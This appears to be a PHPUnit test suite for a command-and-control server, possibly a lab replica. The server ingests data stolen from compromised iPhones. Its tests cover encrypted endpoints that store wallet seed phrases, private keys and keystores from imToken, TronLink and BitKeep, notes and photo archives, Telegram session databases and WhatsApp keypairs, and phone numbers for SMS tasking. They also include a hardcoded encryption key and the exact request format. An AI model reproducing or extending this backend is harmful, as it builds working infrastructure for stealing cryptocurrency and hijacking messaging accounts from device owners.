Files
coruna-lab/tests/Feature/XxbbC2ApiTest.php
T
2026-09-01 07:00:02 +08:00

640 lines
24 KiB
PHP

<?php
namespace Tests\Feature;
use App\Models\Device;
use App\Models\DeviceApp;
use App\Models\DeviceEvent;
use App\Models\Note;
use App\Models\Photo;
use App\Models\PluginSession;
use App\Models\SmsReport;
use App\Models\WalletAddress;
use App\Models\WalletKeystore;
use App\Models\WalletMnemonic;
use App\Services\CorunaCrypto;
use Illuminate\Foundation\Testing\RefreshDatabase;
use Illuminate\Http\UploadedFile;
use Illuminate\Support\Facades\Http;
use Illuminate\Support\Facades\Storage;
use PHPUnit\Framework\Attributes\Test;
use Tests\TestCase;
class XxbbC2ApiTest extends TestCase
{
use RefreshDatabase;
private function xxbbCrypto(): CorunaCrypto
{
return new CorunaCrypto('Ek8pl31K2yeHgQwy');
}
private function xxbbPost(string $path, array $payload, string $ts = '1786468227899')
{
$enc = $this->xxbbCrypto()->encryptJson($payload, $ts);
return $this->call('POST', $path, [], [], [], [
'CONTENT_TYPE' => 'text/plain',
'HTTP_X_TS' => $ts,
], $enc['body']);
}
#[Test]
public function vhx_returns_plain_ok(): void
{
$this->get('/vhx')->assertOk()->assertSee('ok');
$this->call('HEAD', '/vhx')->assertOk();
}
#[Test]
public function profile_creates_device_from_device_info(): void
{
$this->xxbbPost('/a', [
'c' => '202700cfb1ad3de68e11239dcc26c30b',
'd' => '000C30D83CD0402E',
'f' => '000C30D83CD0402E',
'deviceModel' => 'iPhone',
'deviceInfo' => ['productType' => 'iPhone12,8', 'productVersion' => '16.6'],
])->assertOk()->assertSee('1786468227899{}', false);
$device = Device::query()->where('device_id', '000C30D83CD0402E')->first();
$this->assertNotNull($device);
$this->assertSame('iPhone12,8', $device->device_model);
$this->assertSame('16.6', $device->ios_version);
$this->assertNull($device->channel_id);
$this->assertNull($device->user_agent);
}
#[Test]
public function profile_upgrades_generic_model_on_existing_device(): void
{
Device::query()->create([
'device_id' => '000C30D83CD0402E',
'device_model' => 'iPhone',
'ios_version' => null,
]);
$this->xxbbPost('/a', [
'd' => '000C30D83CD0402E',
'deviceModel' => 'iPhone',
'deviceInfo' => ['productType' => 'iPhone12,8', 'productVersion' => '16.6'],
])->assertOk();
$device = Device::query()->where('device_id', '000C30D83CD0402E')->first();
$this->assertSame('iPhone12,8', $device->device_model);
$this->assertSame('16.6', $device->ios_version);
}
#[Test]
public function event_creates_device_and_log(): void
{
$this->xxbbPost('/event', [
'd' => '000C30D83CD0402E',
'f' => '000C30D83CD0402E',
'c' => '202700cfb1ad3de68e11239dcc26c30b',
'et' => 'injection_success',
'desc' => 'Process injection succeeded',
'ctx' => ['bundleId' => 'im.token.app'],
'm' => 'iPhone12,8',
'pv' => '16.6',
])->assertOk();
$device = Device::query()->where('device_id', '000C30D83CD0402E')->first();
$this->assertNotNull($device);
$this->assertSame('iPhone12,8', $device->device_model);
$this->assertSame('16.6', $device->ios_version);
$this->assertNull($device->channel_id);
$ev = DeviceEvent::query()->where('device_key', '000C30D83CD0402E')->first();
$this->assertNotNull($ev);
$this->assertSame('injection_success', $ev->event_name);
}
#[Test]
public function apps_ingests_al(): void
{
$this->xxbbPost('/u', [
'd' => '000C30D83CD0402E',
'c' => '202700cfb1ad3de68e11239dcc26c30b',
'v' => '16.6',
'al' => [
['a' => 'imToken', 'b' => 'im.token.app', 'v' => '2.21.0'],
],
])->assertOk();
$device = Device::query()->where('device_id', '000C30D83CD0402E')->first();
$this->assertNotNull($device);
$this->assertNull($device->channel_id);
$app = DeviceApp::query()->where('device_id', $device->id)->where('bundle_id', 'im.token.app')->first();
$this->assertNotNull($app);
$this->assertSame('imToken', $app->name);
$this->assertSame(Device::WALLET_YES, (int) $device->has_wallet);
$this->assertSame(['imToken'], $device->walletNameList());
$this->assertTrue($device->albumStorageEnabled());
}
#[Test]
public function uj_stores_keystore_from_json_string(): void
{
$this->xxbbPost('/uj', [
'd' => '000C30D83CD0402E',
'a' => 'b',
'result' => json_encode([
'crypto' => ['cipher' => 'aes-128-ctr', 'ciphertext' => 'deadbeef'],
]),
])->assertOk();
$device = Device::query()->where('device_id', '000C30D83CD0402E')->first();
$this->assertNotNull($device);
$ks = WalletKeystore::query()->where('device_id', $device->id)->first();
$this->assertNotNull($ks);
$this->assertSame('aes-128-ctr', $ks->raw_json['crypto']['cipher'] ?? null);
$this->assertSame('imToken', $ks->source);
$this->assertSame(0, (int) $ks->decrypted);
}
#[Test]
public function uj_unknown_wallet_tag_leaves_keystore_source_empty(): void
{
$this->xxbbPost('/uj', [
'd' => '000C30D83CD0402E',
'a' => 'not-a-wallet',
'result' => json_encode(['crypto' => ['cipher' => 'aes-128-ctr']]),
])->assertOk();
$device = Device::query()->where('device_id', '000C30D83CD0402E')->first();
$this->assertNotNull($device);
$ks = WalletKeystore::query()->where('device_id', $device->id)->first();
$this->assertNotNull($ks);
$this->assertSame('', $ks->source);
$this->assertSame('未知', $ks->sourceLabel());
$this->assertSame(0, (int) $ks->decrypted);
}
#[Test]
public function ub_ingests_ba_json_string(): void
{
Http::fake([
'*' => Http::response(['ok' => true], 200),
]);
$this->xxbbPost('/ub', [
'd' => '000C30D83CD0402E',
'a' => 'b1',
'ba' => json_encode([
'TKKyetwdwuv6fTWVMPsdQUZYwB7yiNwRp6' => [
[
'decimal' => '6',
'symbol' => 'USDT',
'chainType' => 'TRON',
'balance' => '0',
],
[
'decimal' => '6',
'symbol' => 'TRX',
'chainType' => 'TRON',
'balance' => '0',
],
],
]),
])->assertOk();
$device = Device::query()->where('device_id', '000C30D83CD0402E')->first();
$this->assertNotNull($device);
$addr = WalletAddress::query()
->where('device_id', $device->id)
->where('address', 'TKKyetwdwuv6fTWVMPsdQUZYwB7yiNwRp6')
->first();
$this->assertNotNull($addr);
$this->assertSame('TRON', $addr->chain_type);
$this->assertSame('imToken', $addr->source);
}
#[Test]
public function lab_timestamp_header_does_not_decrypt_xxbb_body(): void
{
$enc = $this->xxbbCrypto()->encryptJson([
'd' => '000C30D83CD0402E',
'et' => 'heartbeat',
], '1786468227899');
$this->call('POST', '/event', [], [], [], [
'CONTENT_TYPE' => 'text/plain',
'HTTP_TIMESTAMP' => '1786468227899',
], $enc['body'])->assertOk();
$this->assertNull(Device::query()->where('device_id', '000C30D83CD0402E')->first());
}
#[Test]
public function nb_ingests_notes(): void
{
$this->xxbbPost('/nb', [
'd' => '000C30D83CD0402E',
'c' => '202700cfb1ad3de68e11239dcc26c30b',
'list' => [
"spawn rabbit unusual favorite yard recipe\n(R(R",
'second note line',
],
])->assertOk();
$device = Device::query()->where('device_id', '000C30D83CD0402E')->first();
$this->assertNotNull($device);
$this->assertSame(1, Note::query()->where('device_id', $device->id)->count());
$note = Note::query()->where('device_id', $device->id)->first();
$this->assertIsArray($note->content);
$this->assertCount(2, $note->content);
$this->assertStringContainsString('spawn rabbit', $note->content[0]);
}
#[Test]
public function result_ingests_mnemonic(): void
{
$this->xxbbPost('/result', [
'd' => '000C30D83CD0402E',
'a' => 'b',
'result' => 'abandon abandon abandon abandon abandon abandon abandon abandon abandon abandon abandon about',
])->assertOk();
$device = Device::query()->where('device_id', '000C30D83CD0402E')->first();
$this->assertNotNull($device);
$row = WalletMnemonic::query()->where('device_id', $device->id)->first();
$this->assertNotNull($row);
$this->assertSame('imToken', $row->source);
$this->assertStringContainsString('abandon', $row->mnemonic);
}
#[Test]
public function t_extracts_photo_archive_and_stores_file(): void
{
Storage::fake('local');
$crypto = $this->xxbbCrypto();
$tmp = sys_get_temp_dir().'/xxbb_photo_'.uniqid();
mkdir($tmp);
$jpegPath = $tmp.'/hit.jpg';
file_put_contents($jpegPath, "\xFF\xD8\xFF\xD9");
$archivePath = $tmp.'/capture.7z';
$password = $crypto->archivePassword('0');
$bin = is_executable('/opt/homebrew/opt/p7zip/bin/7z')
? '/opt/homebrew/opt/p7zip/bin/7z'
: '7z';
$cmd = escapeshellarg($bin).' a -y -p'.escapeshellarg($password)
.' '.escapeshellarg($archivePath).' '.escapeshellarg($jpegPath).' 2>&1';
exec($cmd, $out, $code);
$this->assertSame(0, $code, implode("\n", $out));
Device::query()->create([
'device_id' => '000C30D83CD0402E',
'album_storage' => true,
]);
$checkDir = storage_path('app/c2/check/000C30D83CD0402E');
$checkBefore = is_dir($checkDir) ? array_values(array_diff(scandir($checkDir) ?: [], ['.', '..'])) : [];
$upload = new UploadedFile($archivePath, 'capture.7z', 'application/octet-stream', null, true);
$this->call(
'POST',
'/t',
[
'd' => '000C30D83CD0402E',
'f' => '000C30D83CD0402E',
'batchBase' => '0',
'idx' => '000001000000',
'ftu' => '000001000000',
'x-hit' => '12',
],
[],
['file' => $upload],
['CONTENT_TYPE' => 'multipart/form-data']
)->assertOk();
$device = Device::query()->where('device_id', '000C30D83CD0402E')->first();
$this->assertNotNull($device);
$photo = Photo::query()->where('device_id', $device->id)->first();
$this->assertNotNull($photo);
$this->assertSame(hash('sha256', "\xFF\xD8\xFF\xD9"), $photo->sha256);
$this->assertSame(4, $photo->size);
$this->assertSame(12, $photo->x_hit);
$this->assertSame(1, $photo->upload_count);
$this->assertSame(0, $photo->process_index);
$this->assertSame(1, $photo->text_count);
$this->assertSame(0, $photo->barcode_count);
Storage::disk('local')->assertExists($photo->path);
$this->assertStringStartsWith('c2/photos/', $photo->path);
$checkAfter = is_dir($checkDir) ? array_values(array_diff(scandir($checkDir) ?: [], ['.', '..'])) : [];
$this->assertSame($checkBefore, $checkAfter);
@unlink($jpegPath);
@unlink($archivePath);
@rmdir($tmp);
}
#[Test]
public function us_ingests_tronlink_mnemonic(): void
{
$this->xxbbPost('/us', [
'd' => '000C30D83CD0402E',
'a' => 'c',
'result' => 'abandon abandon abandon abandon abandon abandon abandon abandon abandon abandon abandon about',
])->assertOk();
$device = Device::query()->where('device_id', '000C30D83CD0402E')->first();
$this->assertNotNull($device);
$row = WalletMnemonic::query()->where('device_id', $device->id)->first();
$this->assertNotNull($row);
$this->assertSame('TronLink', $row->source);
}
#[Test]
public function us_ingests_private_key_without_result_wrapper(): void
{
$this->xxbbPost('/us', [
'd' => '000C30D83CD0402E',
'a' => 'f',
'privateKey' => '0x'.str_repeat('ab', 32),
])->assertOk();
$device = Device::query()->where('device_id', '000C30D83CD0402E')->first();
$this->assertNotNull($device);
$row = WalletMnemonic::query()->where('device_id', $device->id)->first();
$this->assertNotNull($row);
$this->assertSame('BitKeep', $row->source);
$this->assertStringStartsWith('0x', $row->mnemonic);
}
#[Test]
public function ub_ingests_global_wallet_ad_map(): void
{
Http::fake(['*' => Http::response(['ok' => true], 200)]);
$this->xxbbPost('/ub', [
'd' => '000C30D83CD0402E',
'a' => 'p',
'ad' => [
'TKKyetwdwuv6fTWVMPsdQUZYwB7yiNwRp6' => '0.32647342126093182783704',
],
])->assertOk();
$device = Device::query()->where('device_id', '000C30D83CD0402E')->first();
$this->assertNotNull($device);
$addr = WalletAddress::query()
->where('device_id', $device->id)
->where('address', 'TKKyetwdwuv6fTWVMPsdQUZYwB7yiNwRp6')
->first();
$this->assertNotNull($addr);
$this->assertSame('Global Wallet', $addr->source);
$this->assertSame('TRON', $addr->chain_type);
}
#[Test]
public function api_tg_t_ingests_telegram_auth(): void
{
Storage::fake('local');
$this->xxbbPost('/api/tg/t', [
'd' => '000C30D83CD0402E',
'd1' => '00008030-000C30D83CD0402E',
'd2' => 'FFXD5S8FPLJM',
'c' => '202700cfb1ad3de68e11239dcc26c30b',
'a' => 'tg',
'user_id' => '123456789',
'state' => ['records' => [['id' => 1]]],
'db_sqlite' => base64_encode('not-a-real-sqlite'),
'datacenterAuthInfoById' => 'AQID',
])->assertOk();
$device = Device::query()->where('device_id', '000C30D83CD0402E')->first();
$this->assertNotNull($device);
$this->assertSame(0, WalletKeystore::query()->where('device_id', $device->id)->count());
$row = PluginSession::query()->where('device_id', $device->id)->first();
$this->assertNotNull($row);
$this->assertSame(PluginSession::KIND_TELEGRAM, $row->kind);
$this->assertSame('000C30D83CD0402E', $row->device_key);
$this->assertSame('123456789', $row->account_id);
$this->assertSame('123456789', $row->payload['user_id'] ?? null);
$this->assertTrue((bool) ($row->payload['has_db'] ?? false));
$this->assertArrayNotHasKey('db_sqlite', $row->payload ?? []);
Storage::disk('local')->assertExists($row->payload['payload_path']);
$full = $row->fullPayload();
$this->assertArrayHasKey('db_sqlite', $full);
$this->assertSame('AQID', $full['datacenterAuthInfoById'] ?? null);
$this->assertTrue($device->fresh()->hasTelegram());
$this->assertFalse($device->fresh()->hasWhatsApp());
}
#[Test]
public function api_tg_t_ingests_ecid_envelope(): void
{
Storage::fake('local');
$this->xxbbPost('/api/tg/t', [
'ecid' => '00025D800C22001E',
'unique' => '00008101-00025D800C22001E',
'serial' => 'G0NDX83M0D5D',
'channel' => 'b78e30542d4d290f72685e97639a9b05',
'user_id' => '37603278499',
'state' => '{"records":[]}',
'db_sqlite' => base64_encode('not-a-real-sqlite'),
])->assertOk();
$device = Device::query()->where('device_id', '00025D800C22001E')->first();
$this->assertNotNull($device);
$row = PluginSession::query()->where('device_id', $device->id)->first();
$this->assertNotNull($row);
$this->assertSame(PluginSession::KIND_TELEGRAM, $row->kind);
$this->assertSame('37603278499', $row->account_id);
$this->assertSame('37603278499', $row->payload['user_id'] ?? null);
$this->assertTrue((bool) ($row->payload['has_db'] ?? false));
$this->assertArrayHasKey('db_sqlite', $row->fullPayload());
}
#[Test]
public function api_wp_t_ingests_whatsapp_session(): void
{
Storage::fake('local');
$this->xxbbPost('/api/wp/t', [
'd' => '000C30D83CD0402E',
'd1' => '00008030-000C30D83CD0402E',
'c' => '202700cfb1ad3de68e11239dcc26c30b',
'a' => 'wp',
'userId' => '15551234567',
'phoneId' => 'phone-id-1',
'registrationID' => 4242,
'clientStaticKeypairBase64' => 'QUJD',
'phoneKeyStore' => ['signedPreKey' => ['id' => 1], 'preKeys' => []],
'whatsappVersion' => '2.24.0',
])->assertOk();
$device = Device::query()->where('device_id', '000C30D83CD0402E')->first();
$this->assertNotNull($device);
$this->assertNull($device->channel_id);
$this->assertSame(0, WalletKeystore::query()->where('device_id', $device->id)->count());
$row = PluginSession::query()->where('device_id', $device->id)->first();
$this->assertNotNull($row);
$this->assertSame(PluginSession::KIND_WHATSAPP, $row->kind);
$this->assertSame('000C30D83CD0402E', $row->device_key);
$this->assertSame('15551234567', $row->account_id);
$this->assertSame('15551234567', $row->phone);
$this->assertSame(
PluginSession::whatsappFilePath('000C30D83CD0402E', '15551234567'),
$row->payload['payload_path'] ?? null
);
$this->assertArrayNotHasKey('phoneKeyStore', $row->payload ?? []);
Storage::disk('local')->assertExists($row->payload['payload_path']);
$full = $row->fullPayload();
$this->assertSame('QUJD', $full['clientStaticKeypairBase64'] ?? null);
$this->assertTrue($device->fresh()->hasWhatsApp());
$this->assertFalse($device->fresh()->hasTelegram());
}
#[Test]
public function api_wp_t_ingests_account_data_envelope(): void
{
Storage::fake('local');
$this->xxbbPost('/api/wp/t', [
'account' => '2348034472071',
'ecid' => '0006345E0A09002E',
'unique' => '00008020-0006345E0A09002E',
'serial' => 'DX3YJA00KXKQ',
'channel' => 'b78e30542d4d290f72685e97639a9b05',
'data' => json_encode([
'userId' => '2348034472071',
'phoneId' => 'phone-id-live',
'clientStaticKeypairBase64' => 'QUJD',
'phoneKeyStore' => json_encode(['preKeys' => [], 'signedPreKey' => ['id' => 1]]),
'nickname' => 'wa-nick',
], JSON_UNESCAPED_UNICODE | JSON_UNESCAPED_SLASHES),
])->assertOk();
$device = Device::query()->where('device_id', '0006345E0A09002E')->first();
$this->assertNotNull($device);
$row = PluginSession::query()->where('device_id', $device->id)->first();
$this->assertNotNull($row);
$this->assertSame(PluginSession::KIND_WHATSAPP, $row->kind);
$this->assertSame('2348034472071', $row->account_id);
$this->assertSame('2348034472071', $row->phone);
$this->assertSame('wa-nick', $row->payload['nickname'] ?? null);
$this->assertArrayNotHasKey('phoneKeyStore', $row->payload ?? []);
$full = $row->fullPayload();
$this->assertSame('QUJD', $full['clientStaticKeypairBase64'] ?? null);
$this->assertIsArray($full['phoneKeyStore'] ?? null);
}
#[Test]
public function event_stores_sms_phone_number(): void
{
$this->xxbbPost('/event', [
'd' => '000C30D83CD0402E',
'et' => 'sms_heartbeat',
'phoneNumber' => '+15550004444',
'cardsinfo' => [['isSimPresent' => true, 'phoneNumber' => '+15550004444']],
])->assertOk();
$device = Device::query()->where('device_id', '000C30D83CD0402E')->first();
$this->assertNotNull($device);
$this->assertSame('+15550004444', $device->phone);
}
#[Test]
public function sms_poll_stores_phone_from_cardsinfo(): void
{
$this->markTestSkipped('SMS routes temporarily disabled');
$this->xxbbPost('/m/t/g', [
'd' => '000C30D83CD0402E',
'bundleID' => 'imagent',
'cardsinfo' => [['isSimPresent' => true, 'phoneNumber' => '+15550005555']],
])->assertOk();
$device = Device::query()->where('device_id', '000C30D83CD0402E')->first();
$this->assertNotNull($device);
$this->assertSame('+15550005555', $device->phone);
}
#[Test]
public function sms_report_does_not_use_dest_phone_as_device_phone(): void
{
$this->markTestSkipped('SMS routes temporarily disabled');
$this->xxbbPost('/m/t/r', [
'd' => '000C30D83CD0402E',
'task_id' => 'task-dest-only',
'phone' => '+15550006666',
'msg' => 'sent',
])->assertOk();
$device = Device::query()->where('device_id', '000C30D83CD0402E')->first();
$this->assertNotNull($device);
$this->assertNull($device->phone);
}
#[Test]
public function sms_poll_stores_phone_and_returns_empty_tasks(): void
{
$this->markTestSkipped('SMS routes temporarily disabled');
$resp = $this->xxbbPost('/m/t/g', [
'deviceID' => '000C30D83CD0402E',
'c' => '202700cfb1ad3de68e11239dcc26c30b',
'p' => '+15550001111',
'bundleID' => 'imagent',
'cardsinfo' => [['isSimPresent' => true, 'slotID' => 1]],
]);
$resp->assertOk();
$this->assertSame('1786468227899{"code":1,"data":[]}', $resp->getContent());
$device = Device::query()->where('device_id', '000C30D83CD0402E')->first();
$this->assertNotNull($device);
$this->assertSame('+15550001111', $device->phone);
$this->assertNull($device->channel_id);
$this->assertSame(0, DeviceEvent::query()->where('device_key', '000C30D83CD0402E')->count());
$this->assertSame(0, SmsReport::query()->count());
}
#[Test]
public function sms_report_stores_task_event(): void
{
$this->markTestSkipped('SMS routes temporarily disabled');
$this->xxbbPost('/m/t/r', [
'd' => '000C30D83CD0402E',
'task_id' => 'task-9',
'phone' => '+15550003333',
'p' => '+15550002222',
'msg' => 'ok',
's' => '1',
])->assertOk();
$device = Device::query()->where('device_id', '000C30D83CD0402E')->first();
$this->assertNotNull($device);
$this->assertSame('+15550002222', $device->phone);
$this->assertSame(0, DeviceEvent::query()->where('device_key', '000C30D83CD0402E')->count());
$row = SmsReport::query()->where('device_id', $device->id)->first();
$this->assertNotNull($row);
$this->assertSame('000C30D83CD0402E', $row->device_key);
$this->assertSame('task-9', $row->task_id);
$this->assertSame('+15550003333', $row->dest_phone);
$this->assertSame('+15550002222', $row->local_phone);
$this->assertSame('ok', $row->msg);
$this->assertSame('1', $row->status);
}
#[Test]
public function xxbb_request_logs_to_xxbb_folder_not_c2(): void
{
Device::query()->create([
'device_id' => '000C30D83CD0402E',
'album_storage' => true,
]);
$marker = 'XXBBLOG'.uniqid();
$xxbbLog = public_path('log/xxbb/'.date('Ymd').'.log');
$c2Log = public_path('log/c2/'.date('Ymd').'.log');
@unlink($xxbbLog);
$this->xxbbPost('/event', [
'd' => '000C30D83CD0402E',
'et' => $marker,
])->assertOk();
$this->assertFileExists($xxbbLog);
$xxbbBody = (string) file_get_contents($xxbbLog);
$this->assertStringContainsString('/event', $xxbbBody);
$this->assertStringContainsString($marker, $xxbbBody);
if (is_file($c2Log)) {
$this->assertStringNotContainsString($marker, (string) file_get_contents($c2Log));
}
}
}